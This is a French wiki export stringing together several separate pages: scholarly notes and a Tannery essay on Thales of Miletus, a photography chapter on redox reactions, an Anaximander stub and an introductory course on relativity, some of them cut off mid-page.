Thalès, voir Tannery, Géométrie grecque <1887>, p. 90. Je pense toutefois, avec le Dr Gow (Short History of Greek Mathematics, § 84), qu'il est fort peu probable que Thalès ait reproduit et mesuré sur terre l'énorme triangle qu'il avait construit en plan per­pendiculaire par dessus la mer. Pareille méthode eût été trop compli­quée pour être pratique. I1 est beaucoup plus simple de supposer qu'il fit usage du seqt égyptien. 4 La plus ancienne version de ce fait nous est donnée dans Diog. I, 27 : ὁ δὲ Ἱερώνυμος καὶ ἐχμετρῆσαί φησιν αὐτὸν τὰς πυραμύδας, ἐκ τῆς σχιᾶς παρατηρήσαντα ὅτε ἡμῖν ισομεγέθης ἐστίν. Cf. Pline, H. Nat. XXXVI, 82 : mensuram altitudinis earum deprehendere invenit Thales Milesius umbram metiendo qua hora par esse corpori solet. (Jérôme de Rhodes était contemporain d'Eudème.). Ceci implique seulement la simple réflexion que les ombres de tous les objets sont probablement égales aux objets à la même heure. Plutarque (Conv sept. sap. 147 a), indique une méthode plus compliquée : τὴν βακτηρίαν στήσας ἐπι τῷ πέρατι τῆς σκιᾶς ἣν ἡ πυραμὶς ἐποίει, γενομένων τῇ ἐπαφῇ τῆς ἀκτῖνος δυοῖν πριγώνων, ἔδειξας ὃν ἡ σκιὰ πρὸς τὴν σκιὰν λόγον εἶχε, τὴν πυραμίδα πρὸς τὴν βακτηρίαν ἔχουσαν. Ceci, comme le fait remarquer le Dr Gow, n'est qu'une variante du calcul avec le seqt, et peut fort bien avoir été la méthode de Thalès. 1 Herod. I, 170 (R. P. 9d; D V 1 A. 4). 2 La prétendue chute de Thalès dans un puits (Platon, Théét. 174 a) n'est qu'une fable destinée à montrer l'inutilité de la σοφία; l'anecdote relative à la spéculation sur l'huile (Ar. Pol. A, II, 1259 a 6; DV 1 A 10) a pour but d'enseigner le contraire. 1 Voir R. P 9 e. 2 R. P. ibidem. 1 Arist. Met. A 3, 983 b 21 ; de Cœlo, B 13, 294 A 28 (R. P. 10, 11; DV 1 A 12, 14). Des écrivains postérieurs ajoutent qu'il donnait cela comme une explication des tremblements de terre (ainsi Aet. III, 15, 1); mais cette allégation est probablement due à un commentateur d'Homère féru d'allégorie (Append. §11), qui voulait expliquer l'épithète ἐννοσἱγαιος. Cf. Diels, Dox., p. 225. 2 Met. A 3, 983 b 20 (R. P. 10). J'ai dit «cause matérielle », parce que τῆς τοιαύτης ἀρχῆς (b 19) équivaut à τῆς ἐν ὕλης εἴδει ἀρχῆς (b7). 3Arist. de An. A 5, 411 a 7 (R. P. 13); ib. 2, 405 a 19 (R. P. 13 a; DV 1 A 22). Diog. I, 24 (R. P. ib.) ajoute l'ambre. Cette indication vient d'Hésychius de Milet, car elle se trouve dans la scholie de Par. A sur Platon, Rep. 600 A. 1 Met. A, 3, 983 b 22; Aet. I, 3, 1; Simpl. Phys. p. 36, 10 (R. P. 10, 12, 12 a). La dernière des explications données par Aristote, à savoir que Thalès fut influencé par des théories cosmologiques antérieures sur Okéanos et Téthys a étrangement été supposée plus historique que le reste, alors que c'est une simple boutade de Platon prise à la lettre. Platon dit plus d'une fois (Tht. 180 d 2; Crat. 402 b 4) qu'Héraclite et ses prédécesseurs (οἱ ῥέοντες) dérivèrent leur philosophie d'Homère (Il. XIV, 201), et même de sources plus anciennes (Orph. frg. 2, Diels, Vors. lre éd. p. 491, 2e éd. p. 66 B 2). En citant cette suggestion, Aristote l'attribue à « quelques-uns », — terme qui signifie souvent Platon, — et il appelle les initiateurs de la théorie παμπαλλαίους, comme l'avait fait Platon (Met. A 3,984 b 28; cf. Tht. 181 b 3). C'est là un exemple caractéristique de lu manière dont Aristote puise l'histoire chez Platon. Voir Append. § 2. 2 Cf. Arist. de An. A. 2, 405 b 2 (R. P. 220; DV 26 A 10) avec les pas­sages cités dans la note précédente. La même supposition est faite dans la 5e édition de Zeller (p. 188, n. 1), que je n'avais pas vue quand j'ai écrit la phrase ci-dessus. Döring, Thales (Zeitschr. f. Philos. 1896, p. 179 sq.) exprime la même opinion. Nous savons maintenant que, bien qu'Aristote se refuse à considérer Hippon comme un philosophe (Met. A, 3, 984 a 3; R. P. 219 a; DV 26 A 7), il était discuté dans l'his­toire de la médecine connue sous le nom de Iatrika et attribuée à Ménon. Voir Diels dans Hermes, XXVIII, p. 420 (DV 26 A 11). 1 L'opinion ici exprimée ressemble fort à celle de l'interprétateur allégorisant d'Homère, Héraclite (R. P. 12 a). Mais cette dernière est aussi une conjecture, probablement d'origine stoïcienne, comme les autres sont d'origine péripatéticienne. 1 Arist. de An. A, 5, 411 a 7 (R. P. 13; DV 1 A 22). 2 Aet. I, 7, 11 = Stob. I, 56 (R. P. 14 ; DV 1 A 23). Sur les sources indiquées ici, voir Append., § 11, 12. 3 Cicéron, de Nat. D. l, 10, 15 (R. P. 13 b; DV 1 A 23). Sur la source de Cicéron, voir Dox. p. 125, 128. Le papyrus de Philodème trouvé à Herculanum a malheureusement une lacune juste en cet endroit, mais il n'est pas probable que le manuel épicurien ait anticipé sur la mé­prise de Cicéron. 4 Voir Introd. § VIII. 1 Platon cite le mot πάντα πλήρη θεῶν dans les Lois, 899 b 9 (R. P. 14 b ; DV I A 22), sans mentionner Thalès. Le mot attribué à Héraclite dans le de part. An. A, 5, 645 a 1, paraît n’être qu'une variante de celui-ci. Dans Diog. IX, 7 (R. P. 46 d), on met sur le compte d'Héraclite cette affirmation : πάντα ψυχῶν εἶναι καὶ δαιμόνων πλήρη. 2 Bäumker, Das Problem der Materie, p. 10, n.1. Thalès de Milet/Tannery 5301 21488 2005-09-16T18:13:37Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>Études sur [[Thalès de Milet]]</center> |- | <center>'''[[Thalès de Milet/Theodor Gomperz|Notice de Theodor Gomperz]]''' - - '''[[Thalès de Milet/Tannery|Thalès et ses emprunts à l'Egypte, par P. Tannery]]''' - - '''[[Thalès de Milet/L'École milésienne|L'École milésienne]]'''</center> |} {{navigation|[[Thalès de Milet]]|[[Thalès de Milet/Liste des sources|Les sources]]|[[Thalès de Milet/Textes et traductions|Textes]]|[[Thalès de Milet/Theodor Gomperz|Études]]|[[Thalès de Milet/Thalès dans la littérature|Littérature]]|[[Thalès de Milet/Classement thématique|Classement thématique]]}} <center>THALÈS ET SES EMPRUNTS L'ÉGYPTE</center> == I == Dans l'histoire de la philosophie prédomine aujourd'hui la croyance que, dès son aurore, la pensée hellène s'est développée indépendamment de toute influence étrangère. Il n'y a pas encore bien longtemps qu'une semblable opinion était également en faveur parmi les historiens des mathématiques ; mais, quoique ce soit peut-être dans les sciences exactes que s'affirme le plus la personnalité du génie inventeur, il semble que, de nos jours, les doctrines évolutionnistes aient rallié presque tous ceux qui étudient l'origine et les progrès de ces sciences, et c'est l'opinion inverse qui triomphe sans contestations sérieuses. La divergence est parfaitement constatée par Edouard Zeller{{Refl|1}}, pour ce qui concerne, en particulier, le premier sage dont le nom se retrouve au début des deux côtés, dans l'histoire des sciences comme dans celle de la philosophie. « Nous savons, en outre, que Thalès s'est distingué par ses connaissances en mathématiques et en astronomie. C'est lui qui transporta les principes de ces sciences, des pays orientaux et méridionaux, dans la Grèce. » Mais « aucun témoignage n'indique que Thalès ait emprunté aux Orientaux, outre des connaissances géométriques et astronomiques, des connaissances philosophiques et physiques. » Cependant, à moins de parti pris, il faut avouer que la reconnaissance de l'influence étrangère sur le premier point crée un préjugé en ce qui regarde le second. L'absence de témoignages positifs invoquée par E. Zeller ne peut d'ailleurs avoir une importance décisive, dès que l'on considère à quel degré sont restreintes les données que nous possédons sur les connaissances et les opinions de Thalès, et d'autre part, combien était profonde l'ignorance des auteurs de l'antiquité sur les croyances des barbares ayant trait à la philosophie. Sans révoquer en doute l'incontestable originalité du génie hellène, il est donc permis de dire que, pour Thalès au moins, la question reste ouverte. Si l'on veut d'ailleurs chercher à l'élucider, il nous semble indispensable de préciser avant tout, autant qu'il est du moins possible de le faire aujourd'hui, le caractère réel de l'influence exercée par les barbares sur la constitution des sciences mathématique et astronomique en Grèce. En l'absence de documents probants, c'est le seul moyen de pouvoir juger, par analogie, quelle a pu être la nature de cette influence sur le développement des premières idées philosophiques. Nous nous proposons de tenter ici cette double étude. Il nous a semblé que les résultats des travaux de notre siècle, les points acquis dans l'histoire des mathématiques d'une part, et de l'autre, dans celle des anciens peuples de l'Orient, pouvaient mieux servir qu'ils ne l'ont fait jusqu'à présent à éclairer les sources de la philosophie. Quel que soit d'ailleurs le sort réservé aux thèses que nous soutiendrons, nous espérons que l'exposé des faits mis à l'appui suffira pour intéresser nos lecteurs. Quant à nos conclusions, peut-être convient-il de les résumer d'avance. Nous essaierons de montrer que c'est vraiment aux Grecs qu'appartient la gloire d'avoir constitué les sciences aussi bien que la philosophie ; mais si l'originalité de leur génie éclate, par exemple dès [[Anaximandre de Milet]], le véritable chef de l'école ionienne, rien ne prouve que Thalès en particulier ait fait autre chose que de provoquer le mouvement intellectuel, que de susciter l'étincelle, en introduisant dans le milieu hellène des procédés techniques empruntés aux Barbares et en y faisant connaitre leurs opinions. Ce rôle a pu être joué également par beaucoup d'autres voyageurs de son temps ; mais il fut sans doute l'observateur le plus sagace et le plus habile initiateur. Esprit d'ailleurs, semble-t-il, moins spéculatif que pratique{{Refl|2}}, il n'a pas fait de longues études auprès des sanctuaires de l'Egypte ; mais il a profité de toutes les occasions pour s'enquérir de ce qui lui semblait utile ou curieux, et il sut apprendre à ses compatriotes qu'on résolvait à l'étranger des problèmes auxquels ils n'avaient guère pensé jusque-là, qu'on y avait des croyances au moins aussi plausibles que les leurs. Ainsi, sans peut-être rien inventer ou imaginer réellement par lui-même, donna-t-il le branle à l'inconsciente activité qui sommeillait et mérita-t-il par là ce renom que lui décernèrent ses contemporains et que la postérité la plus lointaine s'est plu à lui conserver. == II == Vers le milieu du septième siècle avant Jésus-Christ, la reconnaissance du fondateur de la dynastie saïte ouvre l'Egypte aux Grecs et en particulier à ceux de l'Asie Mineure. Il y avait déjà huit siècles au moins que les marins de l'Archipel connaissaient les côtes du Delta. Bien avant les chants homériques ', la mémoire de leurs pirateries était conservée par les monuments de Ramsès II. Enfin elles ont eu un terme heureux ; la soif d'aventures, la curiosité de l'inconnu n'ont plus besoin des armes ; derrière le soldat de fortune, qui vient se louer comme mercenaire, les voyageurs affluent. Ceux-là sont des marchands : Thalès vendra du sel, Platon vendra de l'huile. Contes de Plutarque, dit l'historien rigoureux ; mais c'est là le roman plus vrai que l'histoire. En fait, nous ne pouvons constater un seul voyage entrepris dans un but exclusivement scientifique. A côté des mercenaires et des commerçants arrivent de nombreux émigrants qui fondent de véritables colonies. Des Milésiens viennent avec trente navires et établissent un comptoir fortifié. II y a bientôt dans le Delta une caste formée par les interprètes. L'invasion pacifique s'étend sur l'Egypte entière ; il y a des Milésiens dans l'antique Abydos, des Samiens jusque dans la grande Oasis. Quelque degré de civilisation que fussent déjà parvenus les Grecs, ils n'étaient encore que des enfants vis-à-vis des Egyptiens, comme Solon se l'entendait dire : leur curiosité avait donc beau jeu. Mais, sans aller demander l'enseignement des prêtres, sans doute malveillants en général pour ces étrangers et plus disposés à leur conter des fables qu'à faire part de leur savoir, il fut certainement bientôt facile à un Grec intelligent et séjournant suffisamment dans le pays, de faire une enquête sérieuse sur les connaissances pratiques et les opinions générales des Egyptiens. C'est au moins lerôle qu'on peut attribuer à Thalès t, qui, hé vers 640 avant JésusChrist, semble n'être revenu qu'assez tard à Ntilet pour y consacrer les loisirs de sa vieillesse aux travaux de l'intelligence. L'historiette d'Aristote sur le monopole des pressoirs d'huile parait indiquer que tout d'abord la nature de ses occupations, absolument étrangères aux habitudes de ses compatriotes, fut loin de lui attirer leur considération. Mais il en fut bientôt tout autrement, lorsque le succès de la prédiction de l'éclipse solaire du 128 mai 585 avant Jésus-Christ rendit son nom célèbre dans tout le monde hellène. On lui décerne alors le titre de sage, et, surtout après la mort du tyran Thrasybule, il acquiert en Ionie une importance politique notable, qu'il conserve jusqu'à sa mort (vers 548 avant Jésus-Christ), au milieu des vicissitudes de sa patrie, sans toutefois se distraire des études qui avaient fondé sa gloire. Voilà à peu près comme on peut reconstituer le cadre de sa biographie a. Sans doute les hypothèses y jouent leur rôle, mais l'ensemble est plausible et concorde suffisamment avec les données historiques que l'on possède. Il n'est au reste qu'un point qui mérite une discussion sérieuse; il s'agit de la réalité de la prédiction de l'éclipse, fait souvent révoqué en doute, et auquel nous attachons d'autant plus d'importance qu'il semble vraiment, par la renommée qu'il valut à Thalès, avoir éveillé dans la race hellène l'amour de la science et l'émulation vers ce but de la vie. M. Th.-H. Martin 3 a notamment combattu la réalité de cette prédiction. Il s'appuie sur un point d'ailleurs incontestable, que, pour essayer d'annoncer une éclipse solaire avec quelque chance de succès, il faut posséder certains éléments astronomiques qui n'ont été connus, et encore très approximativement, qu'au nie siècle avant Jésus-Christ (Aristarque de Samos), et mis en oeuvre dans ce but qu'au lie ;Hipparque). La prédiction faite par Thalès ne serait doncque le sage Milésien aurait connu l'explication des éclipses, et qu'il aurait peut-être tout au plus, d'après cette connaissance, annoncé la nécessité du retour de ce phénomène. Si ingénieux que soient les arguments invoqués par l'illustre érudit à l'appui de son opinion, elle ne peut nous satisfaire. Tout d'abord, les textes anciens' parlent uniquement d'une prédiction, non d'une explication. Le récit, d'après Diogène Laërce, remonte d'ailleurs à Xénophane, presque contemporain de Thalès; il est difficile de demander plus pour cette époque, comme preuve historique. A la vérité, il est possible, probable même, que Thalès a donné une explication du phénomène; mais il n'a certainement pas connu la véritable. Autrement, il serait inexplicable que, pendant un siècle après lui, tous les Ioniens aient épuisé leur imagination pour les solutions fantaisistes que nous rappellerons plus loin. C'est Anaxagore de Ctazomène qui, le premier, enseignera la doctrine scientifique, qui ne verra dans la lune qu'un corps obscur par lui-même, reflétant la lumière du soleil, qui expliquera ainsi du même coup les phases, les éclipses de lune et celles de soleil; et c'est lui qui le premier rendra, dans les fers, témoignage pour la vérité ". Pour Thalès, la question est d'ailleurs beaucoup moins de savoir s'il a pu prédire une éclipse de soleil avec quelques chances de succès, que si, l'ayant annoncée, füt-ce comme nos almanachs populaires prédisent le temps, il a vu l'événement s'accomplir suivant sa parole. Or on sait, à n'en pas douter, que les astrologues orientaux, dès le huitième siècle avant Jésus-Christ, prévoyaient les éclipses possibles et les annonçaient comme devant arriver; on nous permettra de citer ici un curieux texte cunéiforme déchiffré par M. Smith3. == Notes == {{Refa|1}}Nous empruntons l'excellente traduction de ''La philosophie des Grecs'', par M. Boutroux - Paris, Hachette, 1877. - Voir pages 199-201. {{Refa|2}}(texte grec) Platon, Civitas, X, 600, a. 1. On a révoqué en doute jusqu'au voyage de Thalès en Egypte, parce qu'il n'est pas attesté par des documents suffisamment anciens. Il nous semble que le problème de la cause des débordements périodiques du Nil, question qui préoccupe successivement tous les Ioniens et qui, d'après Hérodote, remonte à Thalès, n'a pu être originairement soulevé que par un témoin oculaire du phénomène. 2. Il nous parait inutile d'indiquer les sources, faciles à retrouver. ,T'ai fait au reste, dans toute cette étude, de fréquents emprunts à Letronne, Mémoire ur la czvzicsation égyptienne depuis l'établissement des Grecs sous Psazn-rniticlaus jusqu'à la conquête d'Alexandre. - G. Maspero, Histoire ancienne des peuples de l'Orient, ouvrage désormais classique. - Bretschneider, Die Geo>reed•ie und die Georrceter vor Ruklides. Leipzig, Teubner, 1870. 3. Revue archéologique, 1864. 1. Hérodote,I, 7i; Eudème, d'après Clément d'Alexandrie, Strornata, I, eh. xiv. 2. Anaxagore n'était du reste lui-même nullement en mesure d'analyser suffisamment les conditions des phénomènes; pour expliquer comment les éclipses de soleil sont, en un même lieu, plus rares que celles de lune, il admit que ces dernières pouvaient être produites par l'interposition, entre le soleil et notre satellite, d'autres astres obscurs. C'est là la véritable origine de l'hypothèse pythagoricienne de l'Antichthonc, dans le système de Philolaos. Voir achiaparelli, I precursori de Cope>•nico nell' antichità, Hcepli, Milan, 1873, page 6. 3. Schiaparelli, Le sfere omocentriche di Eacdosso, di Callippo e di Aristotele, Hcepli, Milan, 1875, p. 12. Modèle:Navigation 5303 21481 2005-09-16T18:11:02Z Marc 66 <div style="float: right; margin: 0em 0em 1em 1.5em"> {| border="2" cellpadding="4" cellspacing="0" style="margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;" ! colspan="2" style="background-color: #DDDDFF" align="center" width="100%" |{{{1}}} |- | width="50%" align="center" |'''{{{2}}}''' | width="50%" align="center" |'''{{{3}}}''' |- | width="50%" align="center" |'''{{{4}}}''' | width="50%" align="center" |'''{{{5}}}''' |- ! colspan="2" width="100%" align="center" |'''{{{6}}}''' |} </div> Photographie - 03 - Oxydoréduction 5304 44320 2006-06-11T07:29:02Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_03}} Une réaction d'oxydoréduction consiste en un transfert d'électrons entre deux ou plusieurs atomes, ions ou molécules. Lorsqu'un '''réducteur''' perd des électrons, il s'oxyde. En même temps ces électrons sont capturés par un '''oxydant''' qui se réduit. Par exemple, lorsque l'on plonge une lame de zinc dans une solution de sulfate cuivrique, on constate que du cuivre se dépose sur cette lame ; si l'on analyse la solution, on s'aperçoit alors qu'elle contient des ions provenant de la lame. Le zinc, réducteur, a perdu des électrons et s'est donc oxydé. Le cuivre en a gagné et s'est réduit. <math>Cu^{++} + Zn \to Cu + Zn^{++} \,</math> L'oxydation d'un atome peut se faire en plusieurs étapes : <math>Fe - 2 \,e^- \to Fe^{++}\quad et \quad Fe^{++} - e^- \to Fe^{+++}</math> Il faut bien se rappeler que lorsqu'une réaction d'oxydoréduction a lieu en milieu aqueux, elle est le plus souvent soumise aux variations du pH. C'est le cas pour la, ou plutôt pour les réactions de réduction du permanganate de potassium : * en milieu alcalin, la réaction s'arrête au manganate : :<math>2 \,KMnO_4 + 2 \,KOH \to 2 \,K_2MnO_4 + H_2O + 1/2\, O_2</math> * en présence de réducteurs, on atteint le bioxyde de manganèse : :<math>2 \,KMnO_4 + H_2O \to 2 \,MnO_2 + 2 \,KOH + 3/2 \,O_2</math> * si la solution est acide, on va jusqu'à l'ion Mn<sup>++</sup> : :<math>2 \,KMnO_4 + 3 \,H_2SO_4 \to 2 \,MnSO_4 + K_2SO_4 + 3 \,H_2O + 5/2 \,O_2</math> Le mélange sulfo-manganique fait passer, par exemple, l'ion ferreux Fe<sup>++</sup> à l'état d'ion ferrique Fe<sup>+++</sup> : :<math>2 \,KMnO_4 + 10 \,FeSO_4 + 8 \,H_2SO_4 \to 2 \,MnSO_4 + 5 \,Fe_2(SO_4)_3 + K_2SO_4 + 8 \,H_2O</math> réaction qui, comme les précédentes, s'écrit plus simplement sous la forme ionique : <math>MnO_4^- + 5 \,Fe^{++} + 8 \,H_3O^+ \to Mn^{++} + 5 \,Fe^{+++} + 12 \,H_2O</math> Le manganèse se trouvait à l'état oxydé fictif Mn<sup>7+</sup>, est réduit en gagnant 5 électrons qu'il prend aux 5 ions ferreux : <math>Mn^{7+} + 5 \,Fe^{++} \to Mn^{++} + 5 \,Fe^{+++}</math> Le fait que les réactions d'oxydoréduction mettent en jeu les électrons permet d'étudier la « force » des oxydants et réducteurs au moyen de mesures électriques. On définit un potentiel d'oxydoréduction <big>'''&epsilon;'''</big> d'autant plus grand que le système est plus oxydant. Par convention, ce potentiel est nul pour l'hydrogène. Sans donner ici son expression complète, on peut dire que ce potentiel est une fonction du pH, lequel doit être précisé lorsque l'on donne les valeurs d'<big>'''&epsilon;'''</big>. {| Border="1" cellpadding="3" cellspacing="0" align="center" |- |'''forme oxydée''' ||'''forme réduite''' || <big>'''&epsilon;'''</big> '''(en V)''' ||'''pH''' |- |<math>Li^+ + e \,</math>||<math>Li\,</math>||- 3,02||0 |- |<math>S + 2\,e\,</math>||<math>S^{--}\,</math>||- 0,5||14 |- |<math>2 \, H^+ + 2\,e\,</math>||<math>H_2\,</math>||0,00||0 |- |<math>Sn^{++++} + 2\,e\,</math>||<math>Sn^{++}\,</math>||+ 0,13||0 |- |<math>Ag^+ + e\,</math>||<math>Ag\,</math>||+ 0,20 ||0 (AgCl + HCl '''N''') |- |<math>Ag^+ + e\,</math>||<math>Ag\,</math>||+ 0,80||0 |- |<math>Cl_2 + 2 \,e\,</math>||<math>2 \,Cl^-</math>||+ 1,34||0 |- |<math>MnO_4^- + 8\,H^+ + 5\,e\,</math>||<math>Mn^{++} + 4\,H_2O\,</math>||+ 1,50||0,5 |- |} Dans le domaine de la photographie, les réactions d'oxydoréduction sont nombreuses, à commencer par le développement des surfaces sensibles. Ce processus, comme nous le verrons, est très sensible au pH. Anaximandre de Milet 5305 31074 2006-02-01T07:06:48Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Thalès de Milet]]''' | width="34%" align="center"|'''[[Histoire de la philosophie - La philosophie antique|La philosophie antique]]''' | width="33%" align="right"|'''[[Anaximène de Milet]]''' |} <center>'''Cette page est presque vide, et n'est qu'une simple présentation en attendant que la page de [[Thalès de Milet]] soit bien avancée.''' </center> '''Anaximandre de Milet''' (en grec Ἀναξίμανδρος / ''Anaxímandros'') (611 av. J.-C., vers 547 av. J.-C.), philosophe grec [[présocratiques|présocratique]], successeur de [[Thalès de Milet|Thalès]]. {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="center" |[[Image:Anaximandre.jpeg|thumb|90px|Anaximandre de Milet]] | :Les sources : :[[Anaximandre de Milet/Liste des sources|Liste des sources]] :[[Anaximandre de Milet/Textes et traductions|Textes et traductions]] :Les études : :[[Anaximandre de Milet/Theodor Gomperz|Notice de Theodor Gomperz]] :[[Anaximandre de Milet/Tannery|Anaximandre de Milet, par P. Tannery]] :Autres textes : [[Anaximandre de Milet/Anaximandre dans la littérature|Anaximandre dans la littérature]] |} [[Catégorie:Philosophe]] Relativité 5306 26000 2005-11-24T17:40:51Z Marc 66 /* Le principe de relativité de Galilée */ "C'est le développement de l'aptitude générale à penser, juger et travailler de façon autonome qui doit toujours rester au premier plan des préoccupations, et non l'acquisition de connaissances spécialisées." Albert Einstein, dans "Albert Einstein, Science, Ethique, Philosophie", Seuil, 1991, p. 209. =Introduction= Le but de ce petit cours est de présenter l'évolution de deux idées fondamentales de l'histoire de la physique : * celle de relativité et * celle d'espace. Pour cela, nous reviendrons à Galilée pour la relativité et à Newton pour l'espace. Puis, nous verrons comment, et à partir de quoi, la relativité restreinte d'Einstein s'est développée. Alors, nous pourrons comprendre la relativité générale et le changement radical qu'elle a provoqué dans notre conception de l'espace. Cela nous permettra d'abordre enfin, en guise de conclusion, l'une des conséquences les plus spectaculaires de cette dernière : le modèle standard de l'univers primitif, plus communément appelé "modèle du big bang". =Préliminaires= Comme on le sait, pour Galilée, le mouvement n'a de sens que par rapport à un autre corps qui en est privé : :"Quand il [Aristote] écrit que tout ce qui se meut, se meut sur quelque chose d'immobile, je [Salviati] me demande s'il n'a pas voulu dire que tout ce qui se meut se meut respectivement à quelque chose d'immobile, cette dernière proposition ne soulevant aucune difficulté, alors que la première en soulève beaucoup ..." :Passage du "Dialogue concernant les deux plus grands systèmes du monde" de Galilée (1632), reproduits dans "Galilée, Newton lus par Einstein", F. Balibar, PUF, 1990, pp. 11 et 18. Pour Einstein, cela remonde aux Grecs : :"Depuis le temps des Grecs on sait bien que pour décrire le mouvement d'un corps on doit le rapporter à un autre corps. Le mouvement d'un véhicule est décrit par rapport au sol, celui d'une planète par rapport à l'ensemble des étoiles fixes visibles. En physique, les corps auxquels les mouvements sont rapportés dans l'espace sont appelés systèmes de coordonnées. Les lois de la mécanique de Galilée et de Newton ne peuvent être formulés qu'en employant un système de coordonnées." :Albert Einstein, "Einstein, conceptions scientifiques", Champ Flammarion, 1990, p. 13 (de "Qu'est-ce que la théorie de la relativité ?", publié dans le London Times, le 28 nov. 1919). De nos jours, on appelle le "corps" auquel on rapporte le mouvement : "référentiel", et les axes gradués qui nous permettent de repérer les positions : "système de coordonnées". Pour bien comprendre ce que signifie l'idée de relativité, nous devons tout d'abord préciser ce que l'on entend par homogénéité, isotropie et invariance des lois en tout point de l'espace. Il existe plusieurs types d'invariance des lois : * "L'invariance par translation dans le temps" est chose connue. Il s'agit du fait que les lois de la physique persistent dans le temps, passé ou futur, que la marche des phénomènes physique, à des instants différents de leur observation (dans les mêmes conditions), est la même. On parle de "l'homogénéité du temps". * "L'invariance par translation dans l'espace" est la plus notoire. Il s'agit du fait que les lois de la physique sont les mêmes, pour deux référentiels issus l'un de l'autre par une translation (à Paris et à Marseille) par exemple). On parle alors de "l'homogénéité de l'espace". * "Le dernier exemple est simple, et qui ne concerne que l'espace, parce qu'il a plusieurs dimensions, c'est l'invariance par changement d'orientation ; autrement dit : il n'y a pas, dans l'espace, de direction absolue." (La symétrie aujourd'hui, coll. Point, éd. Seuil, 1989, p.59) On parle de "l'isotropie de l'espace". Homogénéité et isotropie sont ce qu'on appelle des symétries de l'espace. (Relevons qu'il en existe d'autres (permutations de particules identiques, miroir, ...) et qu'à chacunes d'entre elles correspond une loi de conservation. Par exemple, à l'homogénéité du temps correspond à la loi de conservation de l'énergie, à celle de l'espace, la loi de conservation de l'impulsion et à l'isotropie, la loi de conservation du moment cinétique. Voir "La matière-espace-temps", G. Cohen-Tannoudji et M. Spiro, folio essais, Fayard, 1986, pp. 107 et 222.) Mais remarquons qu'il s'agit bien de symétries par rapport aux lois de la physique. Qu'est-ce que cela veut dire ? Prenons l'exemple du choc élastique entre deux objets. Ce processus obéit à la loi de conservation de l'énergie qui s'exprime dans un référentiel R par : <center><math>M_1\cdot v_1^2/2+M_2\cdot v_2^2/2=M_1\cdot w_1^2/2+M_2\cdot w_2^2/2</math></center> où v désigne la vitesse avant le choc et w celle après, et où les indices représentent les particules. Dans un référentiel R', en translation uniforme V par rapport à R, l'expression numérique des vitesses est différente de celle dans R puisqu'on l'exprime par : <center><math>v'_{1\,ou\,2}=v_{1\,ou\,2}-V</math></center> et <center><math>w'_{1\,ou\,2}=w_{1\,ou\,2}-V</math></center> mais le principe de conservation conserve sa forme particulière : <center><math>M_1\cdot v_1^{'\,2}/2+M_2\cdot v_2^{'\,2}/2=M_1\cdot w_1^{'\,2}/2+M_2\cdot w_2^{'\,2}/2</math></center> L'invariance n'est donc pas numérique, mais formelle (on parle aussi de covariance). C'est la forme de l'équation de conservation de l'énergie qui est préservée par les symétries (en tant que transformation) dont nous venons de parler (voir annexe II). Mais les lois de la physique ne sont pas invariantes sous toute transformation. Un exemple cher à Galilée ("La nature de la physique", R. Feynman, Point Science, éd. du Seuil, 1980, pp. 113-114), puisque c'est lui qui l'a découvert, est celui de la transformation d'échelle. Les lois qui régissent le vol dans l'air d'une maquette d'avion, par exemple, sont différentes de celles qui régissent le vol (dans l'air) d'un avion grandeur nature. Pour étudier le vol d'un avion, les ingénieurs le savent bien, il faut avoir recours à des grandeurs sans dimension qui permettent "d'imuniser" l'analyse du fait de la non-invariance des lois par changement d'échelle. Ainsi donc, l'invariance des lois en tout point de l'espace doit être comprise comme une invariance dans la forme des lois sous l'action de transformations qui opèrent un changement de référentiel (La nature de la physique", R. Feynman, Point Science, éd. du Seuil, 1980, pp. 111). = Le principe de relativité de Galilée = Le texte suivant, très connu et déjà maintes fois cité : :"Enfermez-vous avec un ami dans la cabine principale à l'intérieur d'un grand bateau et prenez avec vous des mouches, des papillons, et d'autres petits animaux volants. Prenez une grande cuve d'eau avec un poisson dedans, suspendez une bouteille qui se vide goutte à goutte dans un grand récipient en dessous d'elle. Avec le bateau à l'arrêt, observez soigneusement comment les petits animaux volent à des vitesses égales vers tous les côtés de la cabine. Le poisson nage indifféremment dans toutes les directions, les gouttes tombent dans le récipient en dessous, et si vous lancez quelque chose à votre amis, vous n'avez pas besoin de le lancer plus fort dans une direction que dans une autre, les distances étant égales, et si vous sautez à pieds joints, vous franchissez des distances égales dans toutes les directions. Lorsque vous aurez observé toutes ces choses soigneusement (bien qu'il n'y ait aucun doute que lorsque le bateau est à l'arrêt, les choses doivent se passer ainsi), faites avancer le bateau à l'allure qui vous plaira, pour autant que la vitesse soit uniforme [c'est-à-dire constante] et ne fluctue pas de part et d'autre. Vous ne verrez pas le moindre changement dans aucun des effets mentionnés et même aucun d'eux ne vous permettra de dire si le bateau est en mouvement ou à l'arrêt ..." :(Galilée, "Dialogue concernant les deux plus grands systèmes du monde", 1632, cité dans "Mécanique générale", Cristian Gruber, Presses polytechniques romandes, 1988, p. 400) nous mène maintenant à considérer le principe de relativité de Galilée. Pour ce faire, suivons concrètement l'exemple ci-dessus. Il s'agit d'un bateau en translation à vitesse constante par rapport à la terre. Galilée nous dit que le mouvement de ce bateau est "comme nul" (Albert Einstein dans "Albert Einstein, Science, Ethique, Philosophie, Seuil, 1991, p. 10) pour les mouvements des divers corps qu'il envisage, c'est-à-dire qu'il n'y a pas de différence entre la description de ces mouvements faite sur la terre et celle faite sur le navire. Pour Galilée, [[Catégorie:Physique]] Image:Anaximandre.jpeg 5307 21393 2005-09-16T09:21:27Z Marc 66 copié de fr: copié de fr: Anaximandre de Milet/Textes et traductions 5308 21542 2005-09-17T07:39:03Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Thalès de Milet]]''' | width="34%" align="center"|'''[[Histoire de la philosophie - La philosophie antique|La philosophie antique]]''' | width="33%" align="right"|'''[[Anaximène de Milet]]''' |} {{navigation|[[Anaximandre de Milet]]|[[Anaximandre de Milet/Liste des sources|Les sources]]|[[Anaximandre de Milet/Textes et traductions|Textes]]|[[Anaximandre de Milet/Theodor Gomperz|Études]]|[[Anaximandre de 